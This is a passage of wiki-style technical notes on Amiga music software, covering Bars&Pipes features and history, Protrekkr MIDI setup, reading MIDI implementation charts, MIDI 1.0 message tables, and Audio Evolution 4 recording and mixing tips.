* Recording   - 
* GUI         - Piano roll or Tracker, Staves and Notes 

MIDI events/messages like step entry e.g. Note On, Note Off 

MIDI events/messages like PB, PC, CC, Mono and Poly After-Touch, Sysex, etc 

MIDI sync - Midi Clocks (SPS Measures), Midi Time Code (h, m, s and frames) SMPTE 

Individual track editing with audition edits so easier to test any changes. Possible to stop track playback, mix clips from the right edit flag and scroll the display using arrow keys. 

Step entry, to extend a selected note hit the space bar and the note grows accordingly. Ability to cancel mouse‑driven edits by simply clicking the right mouse button — at which point everything snaps back into its original form. Lyrics can now be put in with syllable dividers, even across an entire measure or section. Autoranging when you open a edit window, the notes are automatically displayed — working from the lowest upwards. 

Flag editing, shift‑click on a flag immediately open the bounds window, ready for numeric input. Ability to cancel edits using the right‑hand mouse button, plus much improved Bounding Box operations.

Icons other than the BarsnPipes icon -&gt; PUBSCREEN=BarsnPipes (cannot choose modes higher than 8bit 256 colors)

Preferences -&gt; Menu in Tracks window - Send MIDI defaults OFF 

Prefs -&gt; Environment -&gt; screenmode (saved to BarsnPipes.prefs binary file) 

Customization -&gt; pics in gui drawer (folder) - 


Can save as .song files and .mid General Midi 

SMF is a “Standard Midi File”  ([http://www.music.mcgill.ca/~ich/classes/mumt306/StandardMIDIfileformat.html SMF0, SMF1 and SMF2]), [https://github.com/stump/libsmf libsmf], [https://github.com/markc/midicomp MIDIcomp], [https://github.com/MajicDesigns/MD_MIDIFile C++ src], [], [https://github.com/newdigate/midi-smf-reader Midi player], 

* SMF0        All MIDI data is stored in one track only, separated exclusively by the MIDI channel.
* SMF1        The MIDI data is stored in separate tracks/channels.
* SMF2 (rarely used) The MIDI data is stored in separate tracks, which are additionally wrapped in containers, so it's possible to have e.g. several tracks using the same MIDI channels.


Would it be possible to enrich Bars N’Pipes with software synth and sample support along with audio recording and mastering tools like in the named MAC or PC music sequencers?
On the classic AMIGA-OS this is not possible because of missing CPU-power. The hardware of the classic AMIGA is not further developed. So we must say (unfortunately) that those dreams can’t become reality

BarsnPipes is best used with external MIDI-equipment. This can be a keyboard or synthesizer with MIDI-connectors. 

&lt;pre&gt;
MIDI can control 16 channels 
There are USB-MIDI-Interfaces on the market with 16 independent MIDI-lines (multi-port), which can handle 16 MIDI devices independently – 16×16 = 256 independent MIDI-channels or instruments 
handle up to 16 different USB-MIDI-Interfaces (multi-device). That is: 16X16X16 = 4096 independent MIDI-channels – theoretically 
&lt;/pre&gt;

&lt;pre&gt;
Librarian MIDI SYStem EXplorer (sysex) - PatchEditor and used to be supplied as a separate program like PatchMeister but currently not at present 
It should support MIDI.library (PD), BlueRibbon.library (B&amp;P), TriplePlayPlus, and CAMD.library (DeluxeMusic) and 
MIDI information from a device's user manual and configure a custom interface to access parameters for all MIDI products connected to the system 
Supports ALL MIDI events and the Patch/Librarian data is stored in MIDI standard format 
Annette M.Crowling, Missing Link Software, Inc.
&lt;/pre&gt;


Composers
&lt;pre&gt;
[https://x.com/hirasawa/status/1403686519899054086 Susumu Hirasawa] 

&lt;/pre&gt;


&lt;pre&gt;
1988 Todor Fay and his wife Melissa Jordan Gray, who founded the Blue Ribbon Inc
1992 Bars&amp;Pipes Pro published 
November 2000, Todor Fay announcement to release the sourcecode of Bars&amp;Pipes Pro 2.5c beta
end of May 2001, the source of the main program and the sources of some tools and accessories were in a complete and compileable state 
end of October 2009 stop further development of BarsnPipes New for now on all supported systems and made freeware 
2013 Alfred Faust diagnosed with incureable illness, called „Myastenia gravis“ (weak muscles) 
&lt;/pre&gt;


 Protrekkr

How to use Midi In/Out in Protrekkr ?

First of all, midi in &amp; out capabilities of this program are rather limited.

# Go to Misc. Setup section and select a midi in or out device to use (ptk only supports one device at a time).
# Go to instrument section, and select a MIDI PRG (the default is N/A, which means no midi program selected).
# Go to track section and here you can assign a midi channel to each track of ptk.
# Play notes :]. Note off works. F'x' note cut command also works too, and note-volume command (speed) is supported.

Also, you can change midicontrollers in the tracker, using '90' in the panning row:

&lt;pre&gt;
    C-3 02 .. .. 0000....


    --- .. .. 90 xxyy.... &lt;&lt; This will set the value 
    --- .. .. .. 0000....    of the controller n.'xx' to 'yy' (both in hex)
    --- .. .. .. 0000....
&lt;/pre&gt;

So &quot;--- .. .. 90 2040....&quot; will set the controller number $20(32) to $40(64).

You will need the midi implementation table of your gear to know what you can change with midi controller messages.

 N.B. Not all MIDI devices are created equal!

Although the MIDI specification defines a large range of MIDI messages of various kinds, not every MIDI device is required to work in exactly the same way and respond to all the available messages and ways of working. For example, we don't expect a wind synthesiser to work in the same way as a home keyboard.

Some devices, the older ones perhaps, are only able to respond to a single channel. With some of those devices that channel can be altered from the default of 1 (probably) to another channel of the 16 possible.

Other devices, for instance monophonic synthesisers, are capable of producing just one note at a time, on one MIDI channel. Others can produce many notes spread across many channels.

Further devices can respond to, and transmit, &quot;breath controller&quot; data (MIDI controller number 2 (CC#2)) others may respond to the reception of CC#2 but not be able to create and to send it.

A controller keyboard may be capable of sending &quot;expression pedal&quot; data, but another device may not be capable of responding to that message.

Some devices just have the basic GM sound set. The &quot;voice&quot; or &quot;instrument&quot; is selected using a &quot;Program Change&quot; message on its own.

Other devices have a greater selection of voices, usually arranged in &quot;banks&quot;, and the choice of instrument is made by responding to &quot;Bank Select MSB&quot; (MIDI controller 0 (CC#0)), others use &quot;Bank Select LSB&quot; (MIDI controller number 32 (CC#32)), yet others use both MSB and LSB sent one after the other, all followed by the Program Change message. The detailed information about all the different voices will usually be available in a published MIDI Data List.


 MIDI Implementation Chart

But in the User Manual there is sometimes a summary of how the device works, in terms of MIDI, in the chart at the back of the manual, the MIDI Implementation Chart.

If you require two devices to work together you can compare the two implementation charts to see if they are &quot;compatible&quot;. In order to do this we will need to interpret that chart.

The chart is divided into four columns headed &quot;Function&quot;, &quot;Transmitted&quot; (or &quot;Tx&quot;), &quot;Received&quot; (or &quot;Rx&quot;), or more correctly &quot;Recognised&quot;, and finally, &quot;Remarks&quot;.

&lt;pre&gt;
The left hand column defines which MIDI functions are being described.
The 2nd column defines what the device in question is capable of transmitting to another device.
The 3rd column defines what the device is capable of responding to.
The 4th column is for explanations of the values contained within these previous two columns.
&lt;/pre&gt;

There should then be twelve sections, with possibly a thirteenth containing extra &quot;Notes&quot;. Finally there should be an explanation of the four MIDI &quot;modes&quot; and what the &quot;X&quot; and the &quot;O&quot; mean.
&lt;pre&gt;
Mode 1: Omni On, Poly; 
Mode 2: Omni On, Mono; 
Mode 3: Omni Off, Poly; 
Mode 4: Omni Off, Mono.
&lt;/pre&gt;
O means &quot;yes&quot; (implemented), X means &quot;no&quot; (not implemented).

Sometimes you will find a row of asterisks &quot;**************&quot;, these seem to indicate that the data is not applicable in this case. Seen in the transmitted field only (unless you've seen otherwise).

Lastly you may find against some entries an asterisk followed by a number e.g. *1, these will refer you to further information, often on a following page, giving more detail.

Basic Channel
But the very first set of boxes will tell us the &quot;Basic Channel(s)&quot; that the device sends or receives on. 
&quot;Default&quot; is what happens when the device is first turned on, &quot;changed&quot; is what a switch of some kind may allow the device to be set to. 
For many devices e.g. a GM sound module or a home keyboard, this would be 1-16 for both. That is it can handle sending and receiving on all MIDI channels.

On other devices, for example a synthesiser, it may by default only work on channel 1. But the keyboard could be &quot;split&quot; with the lower notes e.g. on channel 2. If the synth has an arppegiator, this may be able to be set to transmit and or receive on yet another channel.
So we might see the default as &quot;1&quot; but the changed as &quot;1-16&quot;.

Modes.
We need to understand Omni On and Off, and Mono and Poly, then we can decipher the four modes.

But first we need to understand that any of these four Mode messages can be sent to any MIDI channel. They don't necessarily apply to the whole device.

If we send an &quot;Omni On&quot; message (CC#125) to a MIDI channel of a device, we are, in effect, asking it to respond to e.g. a Note On / Off message pair, received on any of the sixteen channels. Sound strange? Read it again. Still strange? It certainly is. We normally want a MIDI channel to respond only to Note On / Off messages sent on that channel, not any other. In other words, &quot;Omni Off&quot;.

So &quot;Omni Off&quot; (CC#124) tells a channel of our MIDI device to respond only to messages sent on that MIDI channel.

&quot;Poly&quot; (CC#127) is for e.g. a channel of a polyphonic sound module, or a home keyboard, to be able to respond to many simultaneous Note On / Off message pairs at once and produce musical chords.

&quot;Mono&quot; (CC#126) allows us to set a channel to respond as if it were e.g. a flute or a trumpet, playing just one note at a time. If the device is capable of it, then the overlapping of notes will produce legato playing, that is the attack portion of the second note of two overlapping notes will be removed resulting in a &quot;smoother&quot; transition.

So a channel with a piano voice assigned to it will have Omni Off, Poly On (Mode 3), a channel with a saxophone voice assigned could be Omni Off, Mono On (Mode 4).

We call these combinations the four modes, 1 to 4, as defined above. 
Most modern devices will have their channels set to Mode 3 (Omni Off, Poly) but be switchable, on a per channel basis, to Mode 4 (Omni Off, Mono).

This second section of data will include first its default value i.e. upon device switch on. Then what Mode messages are acceptable, or X if none.

Finally, in the &quot;Altered&quot; field, how a Mode message that can't be implemented will be interpreted. Usually there will just be a row of asterisks effectively meaning nothing will be done if you try to switch to an unimplemented mode.

Note Number
&lt;pre&gt;
The next row will tell us which MIDI notes the device can send or receive, normally 0-127.
The second line, &quot;True Voice&quot; has the following in the MIDI specification: 
&quot;Range of received note numbers falling within the range of true notes produced by the instrument.&quot;
My interpretation is that, for instance, a MIDI piano may be capable of sending all MIDI notes (0 to 127) by transposition, but only responding to the 88 notes (21 to 108) of a real piano. 
&lt;/pre&gt;

Velocity
This will tell us whether the device we're looking at will handle note velocity, and what range from 1-127, or maybe just 64, it transmits or will recognise. So usually &quot;O&quot; plus a range or &quot;X&quot; for not implemented.

After touch
This may have one or two lines two it.
If a one liner the either &quot;O&quot; or &quot;X&quot;, yes or no.
If a two liner then it may include &quot;Keys&quot; or &quot;Poly&quot; and &quot;Channel&quot;.
This will show whether the device will respond to Polyphonic after touch or channel after touch or neither.

Pitch Bend
Again &quot;O&quot; for implemented, &quot;X&quot; for not implemented.
(Many stage pianos will have no pitch bend capability.)
It may also, in the notes section, state whether it will respond to the full 14 bits, or not, as usually encoded by the pitch bend wheel.

Control Change
This is likely to be the largest section of the chart.
It will list all those controllers, starting from CC#0, Bank Select MSB, which the device is capable of sending, and those that it will respond to using &quot;O&quot; or &quot;X&quot; respectively.
You will, almost certainly, get some further explanation of functionality in the remarks column, or in more detail elsewhere in the documentation.

Of course you will need to know what all the various controller numbers do. Lots of the official technical specifications can be found at the [www.midi.org/techspecs/ MMA], with the table of messages and control change [www.midi.org/techspecs/midimessages.php message numbers]

Program Change
Again &quot;O&quot; or &quot;X&quot; in the Transmitted or Recognised column to indicate whether or not the feature is implemented. In addition a range of numbers is shown, typically 0-127, to show what is available.
True # (number): &quot;The range of the program change numbers which correspond to the actual number of patches selected.&quot;

System Exclusive
Used to indicate whether or not the device can send or recognise System Exclusive messages. A short description is often given in the Remarks field followed by a detailed explanation elsewhere in the documentation.

System Common - These include the following:
&lt;pre&gt;
MIDI Time Code Quarter Frame messages (device synchronisation).
Song Position Pointer
Song Select
Tune Request
&lt;/pre&gt;
The section will indicate whether or not the device can send or respond to any of these messages.

System Real Time
These include the following:
&lt;pre&gt;
Timing Clock - often just written as &quot;Clock&quot;
Start
Stop
Continue
&lt;/pre&gt;
These three are usually just referred to as &quot;Commands&quot; and listed.
Again the section will indicate which, if any, of these messages the device can send or respond to.
&lt;pre&gt;
Aux. Messages
Again &quot;O&quot; or &quot;X&quot; for implemented or not.
Aux. = Auxiliary.
Active Sense = Active Sensing.
&lt;/pre&gt;
Often with an explanation of the action of the device.

Notes
The &quot;Notes&quot; section can contain any additional comments to clarify the particular implementation.

Some of the explanations have been drawn directly from the MMA MIDI 1.0 Detailed Specification.
And the detailed explanation of some of the functions will be found there, or in the General MIDI System Level 1 or General MIDI System Level 2 documents also published by the MMA.


 OFFICIAL MIDI SPECIFICATIONS

SUMMARY OF MIDI MESSAGES
Table 1 - Summary of MIDI Messages

The following table lists the major MIDI messages in numerical (binary) order (adapted from &quot;MIDI by the Numbers&quot; by D. Valenti, Electronic Musician 2/88, and updated by the MIDI Manufacturers Association.). This table is intended as an overview of MIDI, and is by no means complete.

WARNING! Details about implementing these messages can dramatically impact compatibility with other products. We strongly recommend consulting the official MIDI Specifications for additional information.

MIDI 1.0 Specification

Message Summary Channel Voice Messages [nnnn = 0-15 (MIDI Channel Number 1-16)]

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot;  |Status D7----D0 
! width=&quot;10%&quot;  |Data Byte(s) D7----D0 
! width=&quot;20%&quot;  |Description
|-
|&lt;!--Status--&gt;1000nnnn || &lt;!--Data--&gt;0kkkkkkk 0vvvvvvv || &lt;!--Description--&gt;Note Off event. 
This message is sent when a note is released (ended). (kkkkkkk) is the key (note) number. (vvvvvvv) is the velocity.
|-
|&lt;!--Status--&gt;1001nnnn || &lt;!--Data--&gt;0kkkkkkk 0vvvvvvv || &lt;!--Description--&gt;Note On event. 
This message is sent when a note is depressed (start). (kkkkkkk) is the key (note) number. (vvvvvvv) is the velocity.
|-
|&lt;!--Status--&gt;1010nnnn || &lt;!--Data--&gt;0kkkkkkk 0vvvvvvv || &lt;!--Description--&gt;Polyphonic Key Pressure (Aftertouch). 
This message is most often sent by pressing down on the key after it &quot;bottoms out&quot;. (kkkkkkk) is the key (note) number. (vvvvvvv) is the pressure value.
|-
|&lt;!--Status--&gt;1011nnnn || &lt;!--Data--&gt;0ccccccc 0vvvvvvv || &lt;!--Description--&gt;Control Change. 
This message is sent when a controller value changes. Controllers include devices such as pedals and levers. Controller numbers 120-127 are reserved as &quot;Channel Mode Messages&quot; (below). (ccccccc) is the controller number (0-119). (vvvvvvv) is the controller value (0-127).
|-
|&lt;!--Status--&gt;1100nnnn || &lt;!--Data--&gt;0ppppppp || &lt;!--Description--&gt;Program Change. This message sent when the patch number changes. (ppppppp) is the new program number.
|-
|&lt;!--Status--&gt;1101nnnn || &lt;!--Data--&gt;0vvvvvvv || &lt;!--Description--&gt;Channel Pressure (After-touch). This message is most often sent by pressing down on the key after it &quot;bottoms out&quot;. This message is different from polyphonic after-touch. Use this message to send the single greatest pressure value (of all the current depressed keys). (vvvvvvv) is the pressure value.
|-
|&lt;!--Status--&gt;1110nnnn || &lt;!--Data--&gt;0lllllll 0mmmmmmm || &lt;!--Description--&gt;Pitch Bend Change. This message is sent to indicate a change in the pitch bender (wheel or lever, typically). The pitch bender is measured by a fourteen bit value. Center (no pitch change) is 2000H. Sensitivity is a function of the receiver, but may be set using RPN 0. (lllllll) are the least significant 7 bits. (mmmmmmm) are the most significant 7 bits.
|}

Channel Mode Messages (See also Control Change, above)

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot;  |Status D7----D0 
! width=&quot;10%&quot;  |Data Byte(s) D7----D0 
! width=&quot;20%&quot;  |Description
|-
|&lt;!--Status--&gt;1011nnnn || &lt;!--Data--&gt;0ccccccc 0vvvvvvv || &lt;!--Description--&gt;Channel Mode Messages. 
This the same code as the Control Change (above), but implements Mode control and special message by using reserved controller numbers 120-127. The commands are:
*All Sound Off. When All Sound Off is received all oscillators will turn off, and their volume envelopes are set to zero as soon as possible c = 120, v = 0: All Sound Off
*Reset All Controllers. When Reset All Controllers is received, all controller values are reset to their default values. (See specific Recommended Practices for defaults) c = 121, v = x: Value must only be zero unless otherwise allowed in a specific Recommended Practice.
*Local Control. When Local Control is Off, all devices on a given channel will respond only to data received over MIDI. Played data, etc. will be ignored. Local Control On restores the functions of the normal controllers. 
c = 122, v = 0: Local Control Off
c = 122, v = 127: Local Control On
* All Notes Off. When an All Notes Off is received, all oscillators will turn off. 
c = 123, v = 0: All Notes Off (See text for description of actual mode commands.)
c = 124, v = 0: Omni Mode Off 
c = 125, v = 0: Omni Mode On 
c = 126, v = M: Mono Mode On (Poly Off) where M is the number of channels (Omni Off) or 0 (Omni On) 
c = 127, v = 0: Poly Mode On (Mono Off) (Note: These four messages also cause All Notes Off)
|}

System Common Messages

System Messages (0xF0)

The final status nybble is a “catch all” for data that doesn’t fit the other statuses. They all use the most significant nybble (4bits) of 0xF, with the least significant nybble indicating the specific category.

The messages are denoted when the MSB of the second nybble is 1. When that bit is a 0, the messages fall into two other subcategories.

System Common

If the MSB of the second second nybble (4 bits) is not set, this indicates a System Common message. Most of these are messages that include some additional data bytes.

System Common Messages
Type Status Byte   Number of Data Bytes      Usage 
&lt;pre&gt;
Time Code Quarter Frame	0xF1	1	Indicates timing using absolute time code, primarily for synthronization with video playback systems. A single location requires eight messages to send the location in an encoded hours:minutes:seconds:frames format*.
Song Position	0xF2	2	Instructs a sequencer to jump to a new position in the song. The data bytes form a 14-bit value that expresses the location as the number of sixteenth notes from the start of the song.
Song Select	0xF3	1	Instructs a sequencer to select a new song. The data byte indicates the song.
Undefined	0xF4	0	
Undefined	0xF5	0	
Tune Request	0xF6	0	Requests that the receiver retunes itself**.
&lt;/pre&gt;
*MIDI Time Code (MTC) is significantly complex. Please see the MIDI Specification
**While modern digital instruments are good at staying in tune, older analog synthesizers were prone to tuning drift. Some analog synthesizers had an automatic tuning operation that could be initiated with this command.


System Exclusive

If you’ve been keeping track, you’ll notice there are two status bytes not yet defined: 0xf0 and 0xf7. These are used by the System Exclusive message, often abbreviated at SysEx. SysEx provides a path to send arbitrary data over a MIDI connection. There is a group of predefined messages for complex data, like fine grained control of MIDI Time code machinery. SysEx is also used to send manufacturer defined data, such as patches, or even firmware updates.

System Exclusive messages are longer than other MIDI messages, and can be any length. The messages are of the following format:

0xF0, 0xID, 0xdd, ...... 0xF7
The message is bookended with distinct bytes.

It opens with the Start Of Exclusive (SOX) data byte, 0xF0.
The next one to three bytes after the start are an identifier.
Values from 0x01 to 0x7C are one-byte vendor IDs, assigned to manufacturers who were involved with MIDI at the beginning.
If the ID is 0x00, it’s a three-byte vendor ID - the next two bytes of the message are the value.
&lt;pre&gt;
ID 0x7D is a placeholder for non-commercial entities.
ID 0x7E indicates a predefined Non-realtime SysEx message.
ID 0x7F indicates a predefined Realtime SysEx message.
&lt;/pre&gt;
After the ID is the data payload, sent as a stream of bytes.
The transfer concludes with the End of Exclusive (EOX) byte, 0xF7.
The payload data must follow the guidelines for MIDI data bytes – the MSB must not be set, so only 7 bits per byte are actually usable. If the MSB is set, it falls into three possible scenarios.

An End of Exclusive byte marks the ordinary termination of the SysEx transfer.
System Real Time messages may occur within the transfer without interrupting it. The recipient should handle them independently of the SysEx transfer.
Other status bytes implicitly terminate the SysEx transfer and signal the start of new messages.
 Some inexpensive USB-to-MIDI interfaces aren’t capable of handling messages longer than four bytes.

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot;  |Status D7----D0 
! width=&quot;10%&quot;  |Data Byte(s) D7----D0 
! width=&quot;20%&quot;  |Description
|-
|&lt;!--Status--&gt;11110000 || &lt;!--Data--&gt;0iiiiiii [0iiiiiii 0iiiiiii]  0ddddddd  --- --- 0ddddddd 11110111 || &lt;!--Description--&gt;System Exclusive. 
This message type allows manufacturers to create their own messages (such as bulk dumps, patch parameters, and other non-spec data) and provides a mechanism for creating additional MIDI Specification messages. The Manufacturer's ID code (assigned by MMA or AMEI) is either 1 byte (0iiiiiii) or 3 bytes (0iiiiiii 0iiiiiii 0iiiiiii). Two of the 1 Byte IDs are reserved for extensions called Universal Exclusive Messages, which are not manufacturer-specific. If a device recognizes the ID code as its own (or as a supported Universal message) it will listen to the rest of the message (0ddddddd). Otherwise, the message will be ignored. (Note: Only Real-Time messages may be interleaved with a System Exclusive.)
|-
|&lt;!--Status--&gt;11110001 || &lt;!--Data--&gt;0nnndddd || &lt;!--Description--&gt;MIDI Time Code Quarter Frame.
nnn = Message Type
dddd = Values
|-
|&lt;!--Status--&gt;11110010 || &lt;!--Data--&gt;0lllllll 0mmmmmmm || &lt;!--Description--&gt;Song Position Pointer. 
This is an internal 14 bit register that holds the number of MIDI beats (1 beat= six MIDI clocks) since the start of the song. l is the LSB, m the MSB.
|-
|&lt;!--Status--&gt;11110011 || &lt;!--Data--&gt;0sssssss || &lt;!--Description--&gt;Song Select. 
The Song Select specifies which sequence or song is to be played.
|-
|&lt;!--Status--&gt;11110100 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Undefined. (Reserved)
|-
|&lt;!--Status--&gt;11110101 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Undefined. (Reserved)
|-
|&lt;!--Status--&gt;11110110 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Tune Request. Upon receiving a Tune Request, all analog synthesizers should tune their oscillators.
|-
|&lt;!--Status--&gt;11110111 || &lt;!--Data--&gt; || &lt;!--Description--&gt;End of Exclusive. Used to terminate a System Exclusive dump. 
|}


System Real-Time Messages

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot;  |Status D7----D0 
! width=&quot;10%&quot;  |Data Byte(s) D7----D0 
! width=&quot;20%&quot;  |Description
|-
|&lt;!--Status--&gt;11111000 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Timing Clock. Sent 24 times per quarter note when synchronization is required.
|-
|&lt;!--Status--&gt;11111001 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Undefined. (Reserved)
|-
|&lt;!--Status--&gt;11111010 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Start. Start the current sequence playing. (This message will be followed with Timing Clocks).
|-
|&lt;!--Status--&gt;11111011 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Continue. Continue at the point the sequence was Stopped.
|-
|&lt;!--Status--&gt;11111100 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Stop. Stop the current sequence.
|-
|&lt;!--Status--&gt;11111101 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Undefined. (Reserved)
|-
|&lt;!--Status--&gt;11111110 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Active Sensing. This message is intended to be sent repeatedly to tell the receiver that a connection is alive. Use of this message is optional. When initially received, the receiver will expect to receive another Active Sensing message each 300ms (max), and if it does not then it will assume that the connection has been terminated. At termination, the receiver will turn off all voices and return to normal (non- active sensing) operation. 
|-
|&lt;!--Status--&gt;11111111 || &lt;!--Data--&gt; || &lt;!--Description--&gt;Reset. Reset all receivers in the system to power-up status. This should be used sparingly, preferably under manual control. In particular, it should not be sent on power-up.
|}


Advanced Messages

Polyphonic Pressure (0xA0) and Channel Pressure (0xD0)

Some MIDI controllers include a feature known as Aftertouch. While a key is being held down, the player can press harder on the key. The controller measures this, and converts it into MIDI messages.

Aftertouch comes in two flavors, with two different status messages.

The first flavor is polyphonic aftertouch, where every key on the controller is capable of sending its own independent pressure information. The messages are of the following format:
&lt;pre&gt;
0xnc, 0xkk, 0xpp
n is the status (0xA)
c is the channel nybble
kk is the key number (0 to 127)
pp is the pressure value (0 to 127)
&lt;/pre&gt;
Polyphonic aftertouch is an uncommon feature, usually found on premium quality instruments, because every key requires a separate pressure sensor, plus the circuitry to read them all.

Much more commonly found is channel aftertouch. Instead of needing a discrete sensor per key, it uses a single, larger sensor to measure pressure on all of the keys as a group. The messages omit the key number, leaving a two-byte format
&lt;pre&gt;
0xnc, 0xpp
n is the status (0xD)
c is the channel number
pp is the pressure value (0 to 127)
&lt;/pre&gt;

Pitch Bend (0xE0)

Many keyboards have a wheel or lever towards the left of the keys for pitch bend control. This control is usually spring-loaded, so it snaps back to the center of its range when released. This allows for both upward and downward bends.

Pitch Bend Wheel

The wheel sends pitch bend messages, of the format
&lt;pre&gt;
0xnc, 0xLL, 0xMM
n is the status (0xE)
c is the channel number
LL is the 7 least-significant bits of the value
MM is the 7 most-significant bits of the value
&lt;/pre&gt;
You’ll notice that the bender data is actually 14 bits long, transmitted as two 7-bit data bytes. This means that the recipient needs to reassemble those bytes using binary manipulation. 14 bits results in an overall range of 214, or 0 to 16,383. Because it defaults to the center of the range, the default value for the bender is halfway through that range, at 8192 (0x2000).

Control Change (0xB0)

In addition to pitch bend, MIDI has provisions for a wider range of expressive controls, sometimes known as continuous controllers, often abbreviated CC. These are transmitted by the remaining knobs and sliders on the keyboard controller shown below.


Continuous Controllers

These controls send the following message format:
&lt;pre&gt;
0xnc, 0xcc, 0xvv
n is the status (0xB)
c is the MIDI channel
cc is the controller number (0-127)
vv is the controller value (0-127)
&lt;/pre&gt;

Typically, the wheel next to the bender sends controller number one, assigned to modulation (or vibrato) depth. It is implemented by most instruments.

The remaining controller number assignments are another point of confusion. The MIDI specification was revised in version 2.0 to assign uses for many of the controllers. However, this implementation is not universal, and there are ranges of unassigned controllers.

On many modern MIDI devices, the controllers are assignable. On the controller keyboard shown in the photos, the various controls can be configured to transmit different controller numbers. Controller numbers can be mapped to particular parameters. Virtual synthesizers frequently allow the user to assign CCs to the on-screen controls. This is very flexible, but it might require configuration on both ends of the link and completely bypasses the assignments in the standard.


Program Change (0xC0)

Most synthesizers have patch storage memory, and can be told to change patches using the following command:
&lt;pre&gt;
0xnc, 0xpp
n is the status (0xc)
c is the channel
pp is the patch number (0-127)
&lt;/pre&gt;
This allows for 128 sounds to be selected, but modern instruments contain many more than 128 patches. Controller #0 is used as an additional layer of addressing, interpreted as a “bank select” command. Selecting a sound on such an instrument might involve two messages: a bank select controller message, then a program change.

Audio &amp; Midi are not synchronized, what I can do ?
Buy a commercial software package but there is a nasty trick to synchronize both. It's a bit hardcore but works for me:

 Simply put one line down to all midi notes on your pattern (use Insert key)
 and go to 'Misc. Setup', adjust the latency and just search a value
 that will make sound sync both audio/midi.

The stock Sin/Saw/Pulse and Rnd waveforms are too simple/common, is there a way to use something more complex/rich ?
You have to ability to redirect the waveforms of the instruments through the synth pipe by selecting the &quot;wav&quot; option for the oscillator you're using for this synth instrument, samples can be used as wavetables to replace the stock signals.


Sound banks like soundfont (sf2) or Kontakt2 are not supported at the moment


====DAW Audio Evolution 4====

Audio Evolution 4 gives you unsurpassed power for digital audio recording and editing on the Amiga. The latest release focusses on time-saving non-linear and non-destructive editing, as seen on other platforms. Besides editing, Audio Evolution 4 offers a wide range of realtime effects, including compression, noise gate, delays, reverb, chorus and 3-band EQ.

Whether you put them as inserts on a channel or use them as auxillaries, the effect parameters are realtime adjustable and can be fully automated. Together with all other mixing parameters, they can even be controlled remotely, using more ergonomic MIDI hardware.

Non-linear editing on the time line, including cut, copy, paste, move, split, trim and crossfade actions

The number of tracks per project(s) is unlimited .... AHI limits you to recording only two at a time. i.e. not on 8 track sound cards like the Juli@ or Phase 88.

sample file import is limited to 16bit AIFF (not AIFC, important distinction as some files from other sources can be AIFC with aiff file extention). and 16bit WAV (pcm only)


Most apps use the Music Unit only but a few apps also use Unit (0-3) instead or as well. 
* Set up AHI prefs so that microphone is available. (Input option near the bottom)


stereo++ allows the audio piece to be placed anywhere and the left-right adjusted to sound positionally right

hifi best for music playback if driver supports this option


Load 16bit .aif .aiff only sample(s) to use not AIFC which can have the same ending. AIFF stands for Audio Interchange File Format 

 sox recital.wav recital.aiff

 sox recital.wav −b 16 recital.aiff channels 1 rate 16k fade 3 norm
 sox input.wav        output.aiff bass −b 16 rate 48k

performs the same format translation, but also applies four effects (down-mix to one channel, sample rate change, fade-in, nomalize), and stores the result at a bit-depth of 16.

 rec −c 2 radio.aiff trim 0 30:00

records half an hour of stereo audio 

 play existing-file.wav


24bit PCM WAV or AIFF do not work 

*No stream format handling. So no way to pass on an AC3 encoded stream unmodified to the digital outputs through AHI.
*No master volume handling. Each application has to set its own volume. So each driver implements its own custom driver-mixer interface for handling master volumes, mute and preamps.
*Only one output stream. So all input gets mixed into one output.
*No automatic handling of output direction based on connected cables.
*No monitor input selection. Only monitor volume control. 


select the correct input (Don't mistake enabled sound for the correct input.)
The monitor will feedback audio to the lineout and hp out no matter if you have selected the correct input to the ADC. The monitor will provide sound for any valid input. This will result in free mixing when recording from the monitor input instead of mic/line because the monitor itself will provide the hardware mixing for you. Be aware that MIC inputs will give two channel mono. Only Linein will give real stereo.

Now for the not working part. Attempt to record from linein in the AE4 record window, the right channel is noise and the left channel is distorted. Even with the recommended HIFI 16bit Stereo++ mode at 48kHz.


Channels

Monitor

Gain

Inout

Output

Advanced settings - Debugging via serial port


* Options -&gt; Soundcard In/Out
* Options -&gt; SampleRate
* Options -&gt; Preferences

F6 for Sample File List

Setting a grid is easy as is measuring the BPM by marking a section of the sample. Is your kick drum track &quot;not in time&quot; ? If so, you're stumped in AE4 as it has no fancy variable time signatures and definitely no 'track this dodgy rhythm' function like software of the nature of Logic has. So if your drum beat is freeform you will need to work in freeform mode. (Real music is free form anyway).

If the drum *is* accurate and you are just having trouble measuring the time, I usually measure over a range of bars and set the number of beats in range to say 16 as this is more accurate, Then you will need to shift the drum track to match your grid *before* applying the grid. (probably an iterative process as when the grid is active samples snap to it, and when inactive you cannot see it).

AE4 does have ARexx but the functions are more for adding samples at set offsets and starting playback / recording.


These are the usual features found in DAWs...

* Recording digital audio, midi sequencer and mixer 
* virtual VST instruments and plug-ins 
* automation, group channels, MIDI channels, FX sends and returns, audio and MIDI editors and music notation editor


* different track views 
* mixer and track layout (but not the same as below) 
* traditional two windows (track and mixer)


Mixing - mixdown

Could not figure out how to select what part I wanted to send to the aux, set it to echo and return. Pretty much the whole echo effect. Or any effect.

Take look at page17 of the manual.

When you open the EQ / Aux send popup window you will see 4 sends. Now from the menu choose the windows menu.

Menus-&gt;Windows-&gt; Aux Returns Window

or press F5

You will see a small window with 4 volume controls and an effects button for each. Click a button and add an effects to that aux channel, then set it up as desired (note the reverb effect has a special AUX setting that improves its use with the aux channel, not compulsory but highly useful). You set the amount of 'return' on the main mix in the Aux Return window, and the amount sent from each main mixer channel in the popup for that channel. Again the aux sends are &quot;prefade&quot; so the volume faders on each channel do not affect them.


Tracking


Effects - fade in

